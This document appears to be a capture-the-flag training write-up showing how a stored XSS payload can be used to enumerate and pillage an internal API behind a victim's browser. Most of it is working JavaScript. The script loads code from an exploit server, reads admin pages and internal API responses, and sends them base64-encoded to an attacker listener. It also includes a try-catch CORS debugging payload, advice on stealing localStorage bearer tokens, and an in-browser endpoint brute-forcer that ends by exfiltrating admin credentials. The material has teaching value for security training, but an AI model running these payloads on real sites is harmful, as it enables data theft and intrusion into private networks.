Enumerating Internal APIs

As we have seen, we can use XSS vulnerabilities to trigger functionality in the victim's user context and exfiltrate data the victim has access to. However, since the XSS payload is executed in the victim's browser, it also enables us to attack further web applications that are only accessible within the victim's private network.

Identifying the Internal API

Our exploit will start just like in the previous sections. We will start by posting our base XSS payload as a guestbook entry:

<script src="https://exploitserver.htb/exploit"></script>

Afterward, we will exfiltrate the admin endpoint to identify potentially interesting admin-only functionality:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This reveals the following response:

HTML table for Administrator Sessions with columns for User, Timestamp, and User-Agent; JavaScript fetches session data from an API and populates the table.

As we can see, the admin endpoint loads additional information from an API at https://api.internal-apis.htb/. However, if we attempt to access the API, we are blocked, indicating that the API is only accessible from the victim's local network:

HTTP GET request to api.internal-apis.htb; response shows 403 Forbidden error.

Thus, we must adjust our XSS payload to enumerate the API from the victim's browser.

Enumerating the Internal API

Let us start by exfiltrating the endpoint leaked in the admin endpoint, the /v1/sessions endpoint. We can do so by adjusting our XSS payload accordingly:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.internal-apis.htb/v1/sessions', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

After updating our payload and waiting a while, we did not receive additional data on the exfiltration server, indicating that something went wrong.

Since we are talking to a different origin, the Same-Origin policy prevents us from accessing the response unless the API implements the appropriate CORS headers to bypass the Same-Origin policy. Since the admin endpoint fetches data cross-origin from the API, we can assume that the API has CORS configured, so we should be able to access the response. However, if we analyze the client-side JavaScript code fetching the data more closely, we can see that the call to the fetch function does not have the credentials: 'include' set. On the other hand, we explicitly set the withCredentials property in our payload. If the API does not allow this by setting the Access-Control-Allow-Credentials CORS header, the Same-Origin policy is not bypassed, and a CORS error is thrown, preventing us from accessing the response. To circumvent this, we need to match the parameters set in the leaked fetch call and send the request without credentials:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.internal-apis.htb/v1/sessions', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This demonstrates that we need to match the exact configuration expected by the internal API to avoid running into CORS issues. Since we cannot reach the API directly and are thus unable to analyze the CORS configuration by identifying CORS headers set in the response, we need to copy the configuration in the leaked HTML code that implements the communication with the internal API. A CORS error prevents the execution of subsequent statements. It is thus recommended to use a try-catch block to identify the correct CORS configuration that enables the exfiltration of the response. This allows us to debug our payload more easily:

try {
	var xhr = new XMLHttpRequest();
	xhr.open('GET', 'https://api.internal-apis.htb/v1/sessions', false);
	xhr.withCredentials = true;
	xhr.send();
	var msg = xhr.responseText;
} catch (error) {
	var msg = error;
}

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(msg), false);
exfil.send();

This would result in the following exfiltrated information, indicating that something went wrong with our HTTP request, enabling us to tweak the request's configuration to match the CORS configuration:

NetworkError: Failed to execute 'send' on 'XMLHttpRequest': Failed to load 'https://api.internal-apis.htb/v1/sessions'.

Additionally, an internal API may require authentication with an authentication bearer instead of cookies. We can use the localStorage property to access an authentication bearer that is stored in the victim's local storage in the context of the vulnerable web application. We can then set the Authorization header on the XMLHttpRequest using the setRequestHeader function.

Note: Keep in mind that there might be an issue with the CORS configuration or a lack of authentication when you do not receive the expected data.

After the appropriate change to avoid a CORS error, we receive data on the exfiltration server, which we can then decode:

kabaneridev@htb[/htb]$ echo -n eyJzZXNzaW9ucyI6W3siYWdlbnQiOiJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTA5LjAuNTQxNC4xMjAgU2FmYXJpLzUzNy4zNiIsInRpbWUiOiIxNjkxNjQ1NzMxIiwidXNlciI6ImFkbWluIn0seyJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMDkuMC41NDE0LjEyMCBTYWZhcmkvNTM3LjM2IiwidGltZSI6IjE2OTI1OTYxMzEiLCJ1c2VyIjoiYWRtaW4ifSx7ImFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwOS4wLjU0MTQuMTIwIFNhZmFyaS81MzcuMzYiLCJ0aW1lIjoiMTY5MzIwMDkzMSIsInVzZXIiOiJhZG1pbiJ9XX0K | base64 -d | jq

{
  "sessions": [
    {
      "agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36",
      "time": "1691645731",
      "user": "admin"
    },
    {
      "agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36",
      "time": "1692596131",
      "user": "admin"
    },
    {
      "agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36",
      "time": "1693200931",
      "user": "admin"
    }
  ]
}

Since the data does not contain interesting information, let us enumerate the API further to identify additional endpoints. We can identify additional endpoints by implementing a directory brute-forcer in our XSS payload that exfiltrates all existing endpoints to the exfiltration server. We will base our proof-of-concept on the objects-lowercase.txt wordlist from SecLists. The payload will send a request to each endpoint and then determine if the endpoint is valid by checking the status code. We can achieve this with a payload similar to the following:

var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];

for (i in endpoints){
	try {
		var xhr = new XMLHttpRequest();
		xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
		xhr.send();
		
		if (xhr.status != 404){
			var exfil = new XMLHttpRequest();
			exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(endpoints[i]), false);
			exfil.send();
		}
	} catch {
		// do nothing
	}
}

This exfiltrates existing API endpoints to the exfiltration server, which we can then analyze further:

kabaneridev@htb[/htb]$ python3 server.py 

10.129.233.62 - - [01/Jan/2025 14:41:55] code 404, message File not found
10.129.233.62 - - [01/Jan/2025 14:41:55] "GET /exfil?r=YWNjb3VudHM= HTTP/1.1" 404 -

Decoding the data reveals the users API endpoint:

kabaneridev@htb[/htb]$ echo dXNlcnM= | base64 -d

users

Finally, students need to adjust the payload on the exploit server, forcing the victim to make a request to https://api.internal-apis.htb/v1/users:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.internal-apis.htb/v1/users', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

After the payload has been saved, students need to wait a few moments before checking the exfiltration server:

kabaneridev@htb[/htb]$ python3 server.py 

<SNIP>

10.129.68.105 - - [28/Jan/2025 02:16:59] code 404, message File not found
10.129.68.105 - - [28/Jan/2025 02:16:59] "GET /exfil?r=eyJ1c2VycyI6W3siZW1haWwiOiJhZG1pbkB2dWxuZXJhYmxlc2l0ZS5odGIiLCJwYXNzd29yZCI6IkhUQntmYjEzMTRmNTMzYmYxYzI1Nzk5N2UyNWQ4MWI2MDQ5Y30iLCJ1c2VybmFtZSI6ImFkbWluIn1dfQo= HTTP/1.1" 404 -

Decoding the data reveals the flag:

kabaneridev@htb[/htb]$ echo eyJ1c2VycyI6W3siZW1haWwiOiJhZG1pbkB2dWxuZXJhYmxlc2l0ZS5odGIiLCJwYXNzd29yZCI6IkhUQntmYjEzMTRmNTMzYmYxYzI1Nzk5N2UyNWQ4MWI2MDQ5Y30iLCJ1c2VybmFtZSI6ImFkbWluIn1dfQo= | base64 -d | jq .

{
  "users": [
    {
      "email": "admin@vulnerablesite.htb",
      "password": "HTB{fb1314f533bf1c257997e25d81b6049c}",
      "username": "admin"
    }
  ]
}

Last updated